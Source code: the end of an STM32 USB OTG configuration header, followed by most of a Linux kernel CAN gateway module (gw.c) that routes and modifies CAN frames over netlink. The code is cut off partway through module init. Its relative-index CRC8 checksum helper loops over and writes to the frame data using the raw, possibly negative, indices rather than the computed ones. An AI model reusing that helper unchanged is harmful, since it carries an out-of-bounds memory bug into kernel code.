/* #define USB_OTG_HS_INTERNAL_DMA_ENABLED */ /* Be aware that enabling DMA mode will result in data being sent only by
multiple of 4 packet sizes. This is due to the fact that USB DMA does
not allow sending data from non word-aligned addresses.
For this specific application, it is advised to not enable this option
unless required. */
#define USB_OTG_HS_DEDICATED_EP1_ENABLED
#endif
/****************** USB OTG FS CONFIGURATION **********************************/
#ifdef USB_OTG_FS_CORE
#define RX_FIFO_FS_SIZE 128
#define TX0_FIFO_FS_SIZE 32
#define TX1_FIFO_FS_SIZE 128
#define TX2_FIFO_FS_SIZE 32
#define TX3_FIFO_FS_SIZE 0
// #define USB_OTG_FS_LOW_PWR_MGMT_SUPPORT
// #define USB_OTG_FS_SOF_OUTPUT_ENABLED
#endif
/****************** USB OTG MISC CONFIGURATION ********************************/
#define VBUS_SENSING_ENABLED
/****************** USB OTG MODE CONFIGURATION ********************************/
//#define USE_HOST_MODE
#define USE_DEVICE_MODE
//#define USE_OTG_MODE
#ifndef USB_OTG_FS_CORE
#ifndef USB_OTG_HS_CORE
#error "USB_OTG_HS_CORE or USB_OTG_FS_CORE should be defined"
#endif
#endif
#ifndef USE_DEVICE_MODE
#ifndef USE_HOST_MODE
#error "USE_DEVICE_MODE or USE_HOST_MODE should be defined"
#endif
#endif
#ifndef USE_USB_OTG_HS
#ifndef USE_USB_OTG_FS
#error "USE_USB_OTG_HS or USE_USB_OTG_FS should be defined"
#endif
#else //USE_USB_OTG_HS
#ifndef USE_ULPI_PHY
#ifndef USE_EMBEDDED_PHY
#error "USE_ULPI_PHY or USE_EMBEDDED_PHY should be defined"
#endif
#endif
#endif
/****************** C Compilers dependant keywords ****************************/
/* In HS mode and when the DMA is used, all variables and data structures dealing
with the DMA during the transaction process should be 4-bytes aligned */
#ifdef USB_OTG_HS_INTERNAL_DMA_ENABLED
#if defined (__GNUC__) /* GNU Compiler */
#define __ALIGN_END __attribute__ ((aligned (4)))
#define __ALIGN_BEGIN
#else
#define __ALIGN_END
#if defined (__CC_ARM) /* ARM Compiler */
#define __ALIGN_BEGIN __align(4)
#elif defined (__ICCARM__) /* IAR Compiler */
#define __ALIGN_BEGIN
#elif defined (__TASKING__) /* TASKING Compiler */
#define __ALIGN_BEGIN __align(4)
#endif /* __CC_ARM */
#endif /* __GNUC__ */
#else
#define __ALIGN_BEGIN
#define __ALIGN_END
#endif /* USB_OTG_HS_INTERNAL_DMA_ENABLED */
/* __packed keyword used to decrease the data type alignment to 1-byte */
#if defined (__CC_ARM) /* ARM Compiler */
#define __packed __packed
#elif defined (__ICCARM__) /* IAR Compiler */
#define __packed __packed
#elif defined ( __GNUC__ ) /* GNU Compiler */
#ifndef __packed
#define __packed __attribute__ ((__packed__))
#endif
#elif defined (__TASKING__) /* TASKING Compiler */
#define __packed __unaligned
#endif /* __CC_ARM */
/**
* @}
*/
/** @defgroup USB_CONF_Exported_Types
* @{
*/
/**
* @}
*/
/** @defgroup USB_CONF_Exported_Macros
* @{
*/
/**
* @}
*/
/** @defgroup USB_CONF_Exported_Variables
* @{
*/
/**
* @}
*/
/** @defgroup USB_CONF_Exported_FunctionsPrototype
* @{
*/
/**
* @}
*/
#endif //__USB_CONF__H__
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| {
"pile_set_name": "Github"
} |
/*
* gw.c - CAN frame Gateway/Router/Bridge with netlink interface
*
* Copyright (c) 2011 Volkswagen Group Electronic Research
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of Volkswagen nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* Alternatively, provided that this notice is retained in full, this
* software may be distributed under the terms of the GNU General
* Public License ("GPL") version 2, in which case the provisions of the
* GPL apply INSTEAD OF those given above.
*
* The provided data structures and external interfaces from this code
* are not restricted to be used by modules with a GPL compatible license.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/spinlock.h>
#include <linux/rcupdate.h>
#include <linux/rculist.h>
#include <linux/net.h>
#include <linux/netdevice.h>
#include <linux/if_arp.h>
#include <linux/skbuff.h>
#include <linux/can.h>
#include <linux/can/core.h>
#include <linux/can/skb.h>
#include <linux/can/gw.h>
#include <net/rtnetlink.h>
#include <net/net_namespace.h>
#include <net/sock.h>
#define CAN_GW_VERSION "20130117"
#define CAN_GW_NAME "can-gw"
MODULE_DESCRIPTION("PF_CAN netlink gateway");
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Oliver Hartkopp <[email protected]>");
MODULE_ALIAS(CAN_GW_NAME);
#define CGW_MIN_HOPS 1
#define CGW_MAX_HOPS 6
#define CGW_DEFAULT_HOPS 1
static unsigned int max_hops __read_mostly = CGW_DEFAULT_HOPS;
module_param(max_hops, uint, S_IRUGO);
MODULE_PARM_DESC(max_hops,
"maximum " CAN_GW_NAME " routing hops for CAN frames "
"(valid values: " __stringify(CGW_MIN_HOPS) "-"
__stringify(CGW_MAX_HOPS) " hops, "
"default: " __stringify(CGW_DEFAULT_HOPS) ")");
static HLIST_HEAD(cgw_list);
static struct notifier_block notifier;
static struct kmem_cache *cgw_cache __read_mostly;
/* structure that contains the (on-the-fly) CAN frame modifications */
struct cf_mod {
struct {
struct can_frame and;
struct can_frame or;
struct can_frame xor;
struct can_frame set;
} modframe;
struct {
u8 and;
u8 or;
u8 xor;
u8 set;
} modtype;
void (*modfunc[MAX_MODFUNCTIONS])(struct can_frame *cf,
struct cf_mod *mod);
/* CAN frame checksum calculation after CAN frame modifications */
struct {
struct cgw_csum_xor xor;
struct cgw_csum_crc8 crc8;
} csum;
struct {
void (*xor)(struct can_frame *cf, struct cgw_csum_xor *xor);
void (*crc8)(struct can_frame *cf, struct cgw_csum_crc8 *crc8);
} csumfunc;
};
/*
* So far we just support CAN -> CAN routing and frame modifications.
*
* The internal can_can_gw structure contains data and attributes for
* a CAN -> CAN gateway job.
*/
struct can_can_gw {
struct can_filter filter;
int src_idx;
int dst_idx;
};
/* list entry for CAN gateways jobs */
struct cgw_job {
struct hlist_node list;
struct rcu_head rcu;
u32 handled_frames;
u32 dropped_frames;
u32 deleted_frames;
struct cf_mod mod;
union {
/* CAN frame data source */
struct net_device *dev;
} src;
union {
/* CAN frame data destination */
struct net_device *dev;
} dst;
union {
struct can_can_gw ccgw;
/* tbc */
};
u8 gwtype;
u8 limit_hops;
u16 flags;
};
/* modification functions that are invoked in the hot path in can_can_gw_rcv */
#define MODFUNC(func, op) static void func(struct can_frame *cf, \
struct cf_mod *mod) { op ; }
MODFUNC(mod_and_id, cf->can_id &= mod->modframe.and.can_id)
MODFUNC(mod_and_dlc, cf->can_dlc &= mod->modframe.and.can_dlc)
MODFUNC(mod_and_data, *(u64 *)cf->data &= *(u64 *)mod->modframe.and.data)
MODFUNC(mod_or_id, cf->can_id |= mod->modframe.or.can_id)
MODFUNC(mod_or_dlc, cf->can_dlc |= mod->modframe.or.can_dlc)
MODFUNC(mod_or_data, *(u64 *)cf->data |= *(u64 *)mod->modframe.or.data)
MODFUNC(mod_xor_id, cf->can_id ^= mod->modframe.xor.can_id)
MODFUNC(mod_xor_dlc, cf->can_dlc ^= mod->modframe.xor.can_dlc)
MODFUNC(mod_xor_data, *(u64 *)cf->data ^= *(u64 *)mod->modframe.xor.data)
MODFUNC(mod_set_id, cf->can_id = mod->modframe.set.can_id)
MODFUNC(mod_set_dlc, cf->can_dlc = mod->modframe.set.can_dlc)
MODFUNC(mod_set_data, *(u64 *)cf->data = *(u64 *)mod->modframe.set.data)
static inline void canframecpy(struct can_frame *dst, struct can_frame *src)
{
/*
* Copy the struct members separately to ensure that no uninitialized
* data are copied in the 3 bytes hole of the struct. This is needed
* to make easy compares of the data in the struct cf_mod.
*/
dst->can_id = src->can_id;
dst->can_dlc = src->can_dlc;
*(u64 *)dst->data = *(u64 *)src->data;
}
static int cgw_chk_csum_parms(s8 fr, s8 to, s8 re)
{
/*
* absolute dlc values 0 .. 7 => 0 .. 7, e.g. data [0]
* relative to received dlc -1 .. -8 :
* e.g. for received dlc = 8
* -1 => index = 7 (data[7])
* -3 => index = 5 (data[5])
* -8 => index = 0 (data[0])
*/
if (fr > -9 && fr < 8 &&
to > -9 && to < 8 &&
re > -9 && re < 8)
return 0;
else
return -EINVAL;
}
static inline int calc_idx(int idx, int rx_dlc)
{
if (idx < 0)
return rx_dlc + idx;
else
return idx;
}
static void cgw_csum_xor_rel(struct can_frame *cf, struct cgw_csum_xor *xor)
{
int from = calc_idx(xor->from_idx, cf->can_dlc);
int to = calc_idx(xor->to_idx, cf->can_dlc);
int res = calc_idx(xor->result_idx, cf->can_dlc);
u8 val = xor->init_xor_val;
int i;
if (from < 0 || to < 0 || res < 0)
return;
if (from <= to) {
for (i = from; i <= to; i++)
val ^= cf->data[i];
} else {
for (i = from; i >= to; i--)
val ^= cf->data[i];
}
cf->data[res] = val;
}
static void cgw_csum_xor_pos(struct can_frame *cf, struct cgw_csum_xor *xor)
{
u8 val = xor->init_xor_val;
int i;
for (i = xor->from_idx; i <= xor->to_idx; i++)
val ^= cf->data[i];
cf->data[xor->result_idx] = val;
}
static void cgw_csum_xor_neg(struct can_frame *cf, struct cgw_csum_xor *xor)
{
u8 val = xor->init_xor_val;
int i;
for (i = xor->from_idx; i >= xor->to_idx; i--)
val ^= cf->data[i];
cf->data[xor->result_idx] = val;
}
static void cgw_csum_crc8_rel(struct can_frame *cf, struct cgw_csum_crc8 *crc8)
{
int from = calc_idx(crc8->from_idx, cf->can_dlc);
int to = calc_idx(crc8->to_idx, cf->can_dlc);
int res = calc_idx(crc8->result_idx, cf->can_dlc);
u8 crc = crc8->init_crc_val;
int i;
if (from < 0 || to < 0 || res < 0)
return;
if (from <= to) {
for (i = crc8->from_idx; i <= crc8->to_idx; i++)
crc = crc8->crctab[crc^cf->data[i]];
} else {
for (i = crc8->from_idx; i >= crc8->to_idx; i--)
crc = crc8->crctab[crc^cf->data[i]];
}
switch (crc8->profile) {
case CGW_CRC8PRF_1U8:
crc = crc8->crctab[crc^crc8->profile_data[0]];
break;
case CGW_CRC8PRF_16U8:
crc = crc8->crctab[crc^crc8->profile_data[cf->data[1] & 0xF]];
break;
case CGW_CRC8PRF_SFFID_XOR:
crc = crc8->crctab[crc^(cf->can_id & 0xFF)^
(cf->can_id >> 8 & 0xFF)];
break;
}
cf->data[crc8->result_idx] = crc^crc8->final_xor_val;
}
static void cgw_csum_crc8_pos(struct can_frame *cf, struct cgw_csum_crc8 *crc8)
{
u8 crc = crc8->init_crc_val;
int i;
for (i = crc8->from_idx; i <= crc8->to_idx; i++)
crc = crc8->crctab[crc^cf->data[i]];
switch (crc8->profile) {
case CGW_CRC8PRF_1U8:
crc = crc8->crctab[crc^crc8->profile_data[0]];
break;
case CGW_CRC8PRF_16U8:
crc = crc8->crctab[crc^crc8->profile_data[cf->data[1] & 0xF]];
break;
case CGW_CRC8PRF_SFFID_XOR:
crc = crc8->crctab[crc^(cf->can_id & 0xFF)^
(cf->can_id >> 8 & 0xFF)];
break;
}
cf->data[crc8->result_idx] = crc^crc8->final_xor_val;
}
static void cgw_csum_crc8_neg(struct can_frame *cf, struct cgw_csum_crc8 *crc8)
{
u8 crc = crc8->init_crc_val;
int i;
for (i = crc8->from_idx; i >= crc8->to_idx; i--)
crc = crc8->crctab[crc^cf->data[i]];
switch (crc8->profile) {
case CGW_CRC8PRF_1U8:
crc = crc8->crctab[crc^crc8->profile_data[0]];
break;
case CGW_CRC8PRF_16U8:
crc = crc8->crctab[crc^crc8->profile_data[cf->data[1] & 0xF]];
break;
case CGW_CRC8PRF_SFFID_XOR:
crc = crc8->crctab[crc^(cf->can_id & 0xFF)^
(cf->can_id >> 8 & 0xFF)];
break;
}
cf->data[crc8->result_idx] = crc^crc8->final_xor_val;
}
/* the receive & process & send function */
static void can_can_gw_rcv(struct sk_buff *skb, void *data)
{
struct cgw_job *gwj = (struct cgw_job *)data;
struct can_frame *cf;
struct sk_buff *nskb;
int modidx = 0;
/*
* Do not handle CAN frames routed more than 'max_hops' times.
* In general we should never catch this delimiter which is intended
* to cover a misconfiguration protection (e.g. circular CAN routes).
*
* The Controller Area Network controllers only accept CAN frames with
* correct CRCs - which are not visible in the controller registers.
* According to skbuff.h documentation the csum_start element for IP
* checksums is undefined/unused when ip_summed == CHECKSUM_UNNECESSARY.
* Only CAN skbs can be processed here which already have this property.
*/
#define cgw_hops(skb) ((skb)->csum_start)
BUG_ON(skb->ip_summed != CHECKSUM_UNNECESSARY);
if (cgw_hops(skb) >= max_hops) {
/* indicate deleted frames due to misconfiguration */
gwj->deleted_frames++;
return;
}
if (!(gwj->dst.dev->flags & IFF_UP)) {
gwj->dropped_frames++;
return;
}
/* is sending the skb back to the incoming interface not allowed? */
if (!(gwj->flags & CGW_FLAGS_CAN_IIF_TX_OK) &&
can_skb_prv(skb)->ifindex == gwj->dst.dev->ifindex)
return;
/*
* clone the given skb, which has not been done in can_rcv()
*
* When there is at least one modification function activated,
* we need to copy the skb as we want to modify skb->data.
*/
if (gwj->mod.modfunc[0])
nskb = skb_copy(skb, GFP_ATOMIC);
else
nskb = skb_clone(skb, GFP_ATOMIC);
if (!nskb) {
gwj->dropped_frames++;
return;
}
/* put the incremented hop counter in the cloned skb */
cgw_hops(nskb) = cgw_hops(skb) + 1;
/* first processing of this CAN frame -> adjust to private hop limit */
if (gwj->limit_hops && cgw_hops(nskb) == 1)
cgw_hops(nskb) = max_hops - gwj->limit_hops + 1;
nskb->dev = gwj->dst.dev;
/* pointer to modifiable CAN frame */
cf = (struct can_frame *)nskb->data;
/* perform preprocessed modification functions if there are any */
while (modidx < MAX_MODFUNCTIONS && gwj->mod.modfunc[modidx])
(*gwj->mod.modfunc[modidx++])(cf, &gwj->mod);
/* check for checksum updates when the CAN frame has been modified */
if (modidx) {
if (gwj->mod.csumfunc.crc8)
(*gwj->mod.csumfunc.crc8)(cf, &gwj->mod.csum.crc8);
if (gwj->mod.csumfunc.xor)
(*gwj->mod.csumfunc.xor)(cf, &gwj->mod.csum.xor);
}
/* clear the skb timestamp if not configured the other way */
if (!(gwj->flags & CGW_FLAGS_CAN_SRC_TSTAMP))
nskb->tstamp.tv64 = 0;
/* send to netdevice */
if (can_send(nskb, gwj->flags & CGW_FLAGS_CAN_ECHO))
gwj->dropped_frames++;
else
gwj->handled_frames++;
}
static inline int cgw_register_filter(struct cgw_job *gwj)
{
return can_rx_register(gwj->src.dev, gwj->ccgw.filter.can_id,
gwj->ccgw.filter.can_mask, can_can_gw_rcv,
gwj, "gw");
}
static inline void cgw_unregister_filter(struct cgw_job *gwj)
{
can_rx_unregister(gwj->src.dev, gwj->ccgw.filter.can_id,
gwj->ccgw.filter.can_mask, can_can_gw_rcv, gwj);
}
static int cgw_notifier(struct notifier_block *nb,
unsigned long msg, void *ptr)
{
struct net_device *dev = netdev_notifier_info_to_dev(ptr);
if (!net_eq(dev_net(dev), &init_net))
return NOTIFY_DONE;
if (dev->type != ARPHRD_CAN)
return NOTIFY_DONE;
if (msg == NETDEV_UNREGISTER) {
struct cgw_job *gwj = NULL;
struct hlist_node *nx;
ASSERT_RTNL();
hlist_for_each_entry_safe(gwj, nx, &cgw_list, list) {
if (gwj->src.dev == dev || gwj->dst.dev == dev) {
hlist_del(&gwj->list);
cgw_unregister_filter(gwj);
kmem_cache_free(cgw_cache, gwj);
}
}
}
return NOTIFY_DONE;
}
static int cgw_put_job(struct sk_buff *skb, struct cgw_job *gwj, int type,
u32 pid, u32 seq, int flags)
{
struct cgw_frame_mod mb;
struct rtcanmsg *rtcan;
struct nlmsghdr *nlh;
nlh = nlmsg_put(skb, pid, seq, type, sizeof(*rtcan), flags);
if (!nlh)
return -EMSGSIZE;
rtcan = nlmsg_data(nlh);
rtcan->can_family = AF_CAN;
rtcan->gwtype = gwj->gwtype;
rtcan->flags = gwj->flags;
/* add statistics if available */
if (gwj->handled_frames) {
if (nla_put_u32(skb, CGW_HANDLED, gwj->handled_frames) < 0)
goto cancel;
}
if (gwj->dropped_frames) {
if (nla_put_u32(skb, CGW_DROPPED, gwj->dropped_frames) < 0)
goto cancel;
}
if (gwj->deleted_frames) {
if (nla_put_u32(skb, CGW_DELETED, gwj->deleted_frames) < 0)
goto cancel;
}
/* check non default settings of attributes */
if (gwj->limit_hops) {
if (nla_put_u8(skb, CGW_LIM_HOPS, gwj->limit_hops) < 0)
goto cancel;
}
if (gwj->mod.modtype.and) {
memcpy(&mb.cf, &gwj->mod.modframe.and, sizeof(mb.cf));
mb.modtype = gwj->mod.modtype.and;
if (nla_put(skb, CGW_MOD_AND, sizeof(mb), &mb) < 0)
goto cancel;
}
if (gwj->mod.modtype.or) {
memcpy(&mb.cf, &gwj->mod.modframe.or, sizeof(mb.cf));
mb.modtype = gwj->mod.modtype.or;
if (nla_put(skb, CGW_MOD_OR, sizeof(mb), &mb) < 0)
goto cancel;
}
if (gwj->mod.modtype.xor) {
memcpy(&mb.cf, &gwj->mod.modframe.xor, sizeof(mb.cf));
mb.modtype = gwj->mod.modtype.xor;
if (nla_put(skb, CGW_MOD_XOR, sizeof(mb), &mb) < 0)
goto cancel;
}
if (gwj->mod.modtype.set) {
memcpy(&mb.cf, &gwj->mod.modframe.set, sizeof(mb.cf));
mb.modtype = gwj->mod.modtype.set;
if (nla_put(skb, CGW_MOD_SET, sizeof(mb), &mb) < 0)
goto cancel;
}
if (gwj->mod.csumfunc.crc8) {
if (nla_put(skb, CGW_CS_CRC8, CGW_CS_CRC8_LEN,
&gwj->mod.csum.crc8) < 0)
goto cancel;
}
if (gwj->mod.csumfunc.xor) {
if (nla_put(skb, CGW_CS_XOR, CGW_CS_XOR_LEN,
&gwj->mod.csum.xor) < 0)
goto cancel;
}
if (gwj->gwtype == CGW_TYPE_CAN_CAN) {
if (gwj->ccgw.filter.can_id || gwj->ccgw.filter.can_mask) {
if (nla_put(skb, CGW_FILTER, sizeof(struct can_filter),
&gwj->ccgw.filter) < 0)
goto cancel;
}
if (nla_put_u32(skb, CGW_SRC_IF, gwj->ccgw.src_idx) < 0)
goto cancel;
if (nla_put_u32(skb, CGW_DST_IF, gwj->ccgw.dst_idx) < 0)
goto cancel;
}
nlmsg_end(skb, nlh);
return 0;
cancel:
nlmsg_cancel(skb, nlh);
return -EMSGSIZE;
}
/* Dump information about all CAN gateway jobs, in response to RTM_GETROUTE */
static int cgw_dump_jobs(struct sk_buff *skb, struct netlink_callback *cb)
{
struct cgw_job *gwj = NULL;
int idx = 0;
int s_idx = cb->args[0];
rcu_read_lock();
hlist_for_each_entry_rcu(gwj, &cgw_list, list) {
if (idx < s_idx)
goto cont;
if (cgw_put_job(skb, gwj, RTM_NEWROUTE, NETLINK_CB(cb->skb).portid,
cb->nlh->nlmsg_seq, NLM_F_MULTI) < 0)
break;
cont:
idx++;
}
rcu_read_unlock();
cb->args[0] = idx;
return skb->len;
}
static const struct nla_policy cgw_policy[CGW_MAX+1] = {
[CGW_MOD_AND] = { .len = sizeof(struct cgw_frame_mod) },
[CGW_MOD_OR] = { .len = sizeof(struct cgw_frame_mod) },
[CGW_MOD_XOR] = { .len = sizeof(struct cgw_frame_mod) },
[CGW_MOD_SET] = { .len = sizeof(struct cgw_frame_mod) },
[CGW_CS_XOR] = { .len = sizeof(struct cgw_csum_xor) },
[CGW_CS_CRC8] = { .len = sizeof(struct cgw_csum_crc8) },
[CGW_SRC_IF] = { .type = NLA_U32 },
[CGW_DST_IF] = { .type = NLA_U32 },
[CGW_FILTER] = { .len = sizeof(struct can_filter) },
[CGW_LIM_HOPS] = { .type = NLA_U8 },
};
/* check for common and gwtype specific attributes */
static int cgw_parse_attr(struct nlmsghdr *nlh, struct cf_mod *mod,
u8 gwtype, void *gwtypeattr, u8 *limhops)
{
struct nlattr *tb[CGW_MAX+1];
struct cgw_frame_mod mb;
int modidx = 0;
int err = 0;
/* initialize modification & checksum data space */
memset(mod, 0, sizeof(*mod));
err = nlmsg_parse(nlh, sizeof(struct rtcanmsg), tb, CGW_MAX,
cgw_policy);
if (err < 0)
return err;
if (tb[CGW_LIM_HOPS]) {
*limhops = nla_get_u8(tb[CGW_LIM_HOPS]);
if (*limhops < 1 || *limhops > max_hops)
return -EINVAL;
}
/* check for AND/OR/XOR/SET modifications */
if (tb[CGW_MOD_AND]) {
nla_memcpy(&mb, tb[CGW_MOD_AND], CGW_MODATTR_LEN);
canframecpy(&mod->modframe.and, &mb.cf);
mod->modtype.and = mb.modtype;
if (mb.modtype & CGW_MOD_ID)
mod->modfunc[modidx++] = mod_and_id;
if (mb.modtype & CGW_MOD_DLC)
mod->modfunc[modidx++] = mod_and_dlc;
if (mb.modtype & CGW_MOD_DATA)
mod->modfunc[modidx++] = mod_and_data;
}
if (tb[CGW_MOD_OR]) {
nla_memcpy(&mb, tb[CGW_MOD_OR], CGW_MODATTR_LEN);
canframecpy(&mod->modframe.or, &mb.cf);
mod->modtype.or = mb.modtype;
if (mb.modtype & CGW_MOD_ID)
mod->modfunc[modidx++] = mod_or_id;
if (mb.modtype & CGW_MOD_DLC)
mod->modfunc[modidx++] = mod_or_dlc;
if (mb.modtype & CGW_MOD_DATA)
mod->modfunc[modidx++] = mod_or_data;
}
if (tb[CGW_MOD_XOR]) {
nla_memcpy(&mb, tb[CGW_MOD_XOR], CGW_MODATTR_LEN);
canframecpy(&mod->modframe.xor, &mb.cf);
mod->modtype.xor = mb.modtype;
if (mb.modtype & CGW_MOD_ID)
mod->modfunc[modidx++] = mod_xor_id;
if (mb.modtype & CGW_MOD_DLC)
mod->modfunc[modidx++] = mod_xor_dlc;
if (mb.modtype & CGW_MOD_DATA)
mod->modfunc[modidx++] = mod_xor_data;
}
if (tb[CGW_MOD_SET]) {
nla_memcpy(&mb, tb[CGW_MOD_SET], CGW_MODATTR_LEN);
canframecpy(&mod->modframe.set, &mb.cf);
mod->modtype.set = mb.modtype;
if (mb.modtype & CGW_MOD_ID)
mod->modfunc[modidx++] = mod_set_id;
if (mb.modtype & CGW_MOD_DLC)
mod->modfunc[modidx++] = mod_set_dlc;
if (mb.modtype & CGW_MOD_DATA)
mod->modfunc[modidx++] = mod_set_data;
}
/* check for checksum operations after CAN frame modifications */
if (modidx) {
if (tb[CGW_CS_CRC8]) {
struct cgw_csum_crc8 *c = nla_data(tb[CGW_CS_CRC8]);
err = cgw_chk_csum_parms(c->from_idx, c->to_idx,
c->result_idx);
if (err)
return err;
nla_memcpy(&mod->csum.crc8, tb[CGW_CS_CRC8],
CGW_CS_CRC8_LEN);
/*
* select dedicated processing function to reduce
* runtime operations in receive hot path.
*/
if (c->from_idx < 0 || c->to_idx < 0 ||
c->result_idx < 0)
mod->csumfunc.crc8 = cgw_csum_crc8_rel;
else if (c->from_idx <= c->to_idx)
mod->csumfunc.crc8 = cgw_csum_crc8_pos;
else
mod->csumfunc.crc8 = cgw_csum_crc8_neg;
}
if (tb[CGW_CS_XOR]) {
struct cgw_csum_xor *c = nla_data(tb[CGW_CS_XOR]);
err = cgw_chk_csum_parms(c->from_idx, c->to_idx,
c->result_idx);
if (err)
return err;
nla_memcpy(&mod->csum.xor, tb[CGW_CS_XOR],
CGW_CS_XOR_LEN);
/*
* select dedicated processing function to reduce
* runtime operations in receive hot path.
*/
if (c->from_idx < 0 || c->to_idx < 0 ||
c->result_idx < 0)
mod->csumfunc.xor = cgw_csum_xor_rel;
else if (c->from_idx <= c->to_idx)
mod->csumfunc.xor = cgw_csum_xor_pos;
else
mod->csumfunc.xor = cgw_csum_xor_neg;
}
}
if (gwtype == CGW_TYPE_CAN_CAN) {
/* check CGW_TYPE_CAN_CAN specific attributes */
struct can_can_gw *ccgw = (struct can_can_gw *)gwtypeattr;
memset(ccgw, 0, sizeof(*ccgw));
/* check for can_filter in attributes */
if (tb[CGW_FILTER])
nla_memcpy(&ccgw->filter, tb[CGW_FILTER],
sizeof(struct can_filter));
err = -ENODEV;
/* specifying two interfaces is mandatory */
if (!tb[CGW_SRC_IF] || !tb[CGW_DST_IF])
return err;
ccgw->src_idx = nla_get_u32(tb[CGW_SRC_IF]);
ccgw->dst_idx = nla_get_u32(tb[CGW_DST_IF]);
/* both indices set to 0 for flushing all routing entries */
if (!ccgw->src_idx && !ccgw->dst_idx)
return 0;
/* only one index set to 0 is an error */
if (!ccgw->src_idx || !ccgw->dst_idx)
return err;
}
/* add the checks for other gwtypes here */
return 0;
}
static int cgw_create_job(struct sk_buff *skb, struct nlmsghdr *nlh)
{
struct rtcanmsg *r;
struct cgw_job *gwj;
u8 limhops = 0;
int err = 0;
if (!netlink_capable(skb, CAP_NET_ADMIN))
return -EPERM;
if (nlmsg_len(nlh) < sizeof(*r))
return -EINVAL;
r = nlmsg_data(nlh);
if (r->can_family != AF_CAN)
return -EPFNOSUPPORT;
/* so far we only support CAN -> CAN routings */
if (r->gwtype != CGW_TYPE_CAN_CAN)
return -EINVAL;
gwj = kmem_cache_alloc(cgw_cache, GFP_KERNEL);
if (!gwj)
return -ENOMEM;
gwj->handled_frames = 0;
gwj->dropped_frames = 0;
gwj->deleted_frames = 0;
gwj->flags = r->flags;
gwj->gwtype = r->gwtype;
err = cgw_parse_attr(nlh, &gwj->mod, CGW_TYPE_CAN_CAN, &gwj->ccgw,
&limhops);
if (err < 0)
goto out;
err = -ENODEV;
/* ifindex == 0 is not allowed for job creation */
if (!gwj->ccgw.src_idx || !gwj->ccgw.dst_idx)
goto out;
gwj->src.dev = __dev_get_by_index(&init_net, gwj->ccgw.src_idx);
if (!gwj->src.dev)
goto out;
if (gwj->src.dev->type != ARPHRD_CAN)
goto out;
gwj->dst.dev = __dev_get_by_index(&init_net, gwj->ccgw.dst_idx);
if (!gwj->dst.dev)
goto out;
if (gwj->dst.dev->type != ARPHRD_CAN)
goto out;
gwj->limit_hops = limhops;
ASSERT_RTNL();
err = cgw_register_filter(gwj);
if (!err)
hlist_add_head_rcu(&gwj->list, &cgw_list);
out:
if (err)
kmem_cache_free(cgw_cache, gwj);
return err;
}
static void cgw_remove_all_jobs(void)
{
struct cgw_job *gwj = NULL;
struct hlist_node *nx;
ASSERT_RTNL();
hlist_for_each_entry_safe(gwj, nx, &cgw_list, list) {
hlist_del(&gwj->list);
cgw_unregister_filter(gwj);
kmem_cache_free(cgw_cache, gwj);
}
}
static int cgw_remove_job(struct sk_buff *skb, struct nlmsghdr *nlh)
{
struct cgw_job *gwj = NULL;
struct hlist_node *nx;
struct rtcanmsg *r;
struct cf_mod mod;
struct can_can_gw ccgw;
u8 limhops = 0;
int err = 0;
if (!netlink_capable(skb, CAP_NET_ADMIN))
return -EPERM;
if (nlmsg_len(nlh) < sizeof(*r))
return -EINVAL;
r = nlmsg_data(nlh);
if (r->can_family != AF_CAN)
return -EPFNOSUPPORT;
/* so far we only support CAN -> CAN routings */
if (r->gwtype != CGW_TYPE_CAN_CAN)
return -EINVAL;
err = cgw_parse_attr(nlh, &mod, CGW_TYPE_CAN_CAN, &ccgw, &limhops);
if (err < 0)
return err;
/* two interface indices both set to 0 => remove all entries */
if (!ccgw.src_idx && !ccgw.dst_idx) {
cgw_remove_all_jobs();
return 0;
}
err = -EINVAL;
ASSERT_RTNL();
/* remove only the first matching entry */
hlist_for_each_entry_safe(gwj, nx, &cgw_list, list) {
if (gwj->flags != r->flags)
continue;
if (gwj->limit_hops != limhops)
continue;
if (memcmp(&gwj->mod, &mod, sizeof(mod)))
continue;
/* if (r->gwtype == CGW_TYPE_CAN_CAN) - is made sure here */
if (memcmp(&gwj->ccgw, &ccgw, sizeof(ccgw)))
continue;
hlist_del(&gwj->list);
cgw_unregister_filter(gwj);
kmem_cache_free(cgw_cache, gwj);
err = 0;
break;
}
return err;
}
static __init int cgw_module_init(void)
{
/* sanitize given module parameter */
max_hops = clamp_t(unsigned int, max_hops, CGW_MIN_HOPS, CGW_MAX_HOPS);
pr_info("can: netlink gateway (rev " CAN_GW_VERSION ") max_hops=%d\n",
max_hops);
cgw_cache = kmem_cache_create("can_gw", sizeof(struct cgw_job),
0, 0, NULL);
if (!cgw_cache)
return -ENOMEM;
/* set notifier */
notifier.notifier_call = cgw_notifier;
register_netdevice_notifier(¬ifier);
if (__rtnl_register(PF_CAN, RTM_GETROUTE, NULL, cgw_dump_jobs, NULL)) {
unregister_netdevice_notifier(¬ifier);
